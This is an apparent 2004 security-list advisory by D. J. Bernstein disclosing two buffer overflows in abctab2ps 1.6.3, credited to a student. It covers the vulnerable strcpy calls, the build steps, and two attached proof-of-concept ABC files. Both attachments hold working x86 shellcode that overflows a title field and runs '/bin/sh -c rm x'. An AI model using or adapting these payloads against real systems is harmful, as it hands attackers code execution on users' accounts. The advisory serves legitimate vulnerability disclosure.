[remote] [control] abctab2ps 1.6.3 write_heading overflows t; trim_title overflows rest

"D. J. Bernstein" <[email protected]> 15 Dec 2004 08:23:34 -0000
Newsgroups gmane.comp.security.software
Message-ID <[email protected]>
--PEIAKu/WMn1b1Hv9
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Limin Wang, a student in my Fall 2004 UNIX Security Holes course, has
discovered two remotely exploitable security holes in abctab2ps. I'm
publishing this notice, but all the discovery credits should be assigned
to Wang.

You are at risk if you take an ABC file from an email message (or a web
page or any other source that could be controlled by an attacker) and
feed that file through abctab2ps. Whoever provides the ABC file then has
complete control over your account: she can read and modify your files,
watch the programs you're running, etc.

The abctab2ps documentation does not tell users to avoid taking input
from the network. Many web pages offer ABC files for public consumption.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   wget http://www.lautengesellschaft.de/cdmm/abctab2ps-1.6.3.tar.gz
   gunzip < abctab2ps-1.6.3.tar.gz | tar -xf -
   cd abctab2ps-1.6.3
   cd src
   gmake -f Makefile.Unix

to download and compile the abctab2ps program, version 1.6.3 (current).
Then save the file 36-1.abc attached to this message, and type

   abctab2ps 36-1.abc

with the unauthorized result that a file named x is removed from the
current directory. The file 36-2.abc has the same effect but uses a
separate buffer overflow. (I tested these with a 461-byte environment,
as reported by printenv | wc -c; beware that 36-1.abc is particularly
sensitive to the environment size.)

Here are the bugs: In subs.cpp, write_heading() does an unprotected
strcpy() into a 201-byte t array. In parse.cpp, trim_title() does an
unprotected strcpy() and strip() into a 301-byte str array and an
81-byte rest array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--PEIAKu/WMn1b1Hv9
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="36-1.abc"
Content-Transfer-Encoding: quoted-printable

X: 1
T: AAAAAAAAAAAAAAAA=B9=C8=E5=BF=BF=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=
=89Q=08=83=C2=08=89Q=0C=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88A:Q=83=C1=
=08Q=83=C1#Q=83=C0;P=CD=801=C0P@P=CD=80abcdefghijklmnopqrstuvwxPATH=3D/bin:=
/usr/bin /bin/sh -c rm x.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=80=E5=BF=BF=80=E5=BF=BF=80=E5=BF=BF
M: C|
K: F
L: 1/4
BA |: "Gm"G2AB|"C7"cd2e|"F"f2fe|"Dm"dA2d|
w: Close your eyes and I'll kiss you, to-mor-row I'll miss you; re-
"Bb"d2dc|"Gm"B2GF|"Eb"G4-|G2 z2|
w:mem-ber I'll al-ways be true._

--PEIAKu/WMn1b1Hv9
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="36-2.abc"
Content-Transfer-Encoding: quoted-printable

X: 1
T: foo,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAA=C8=E5=BF=BF8=E4=BF=BFX=E5=BF=BFAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAA=B9=C4=E6=BF=BF=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=
=08=83=C2=08=89Q=0C=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88A:Q=83=C1=08Q=
=83=C1#Q=83=C0;P=CD=801=C0P@P=CD=80abcdefghijklmnopqrstuvwxPATH=3D/bin:/usr=
/bin /bin/sh -c rm x.

--PEIAKu/WMn1b1Hv9--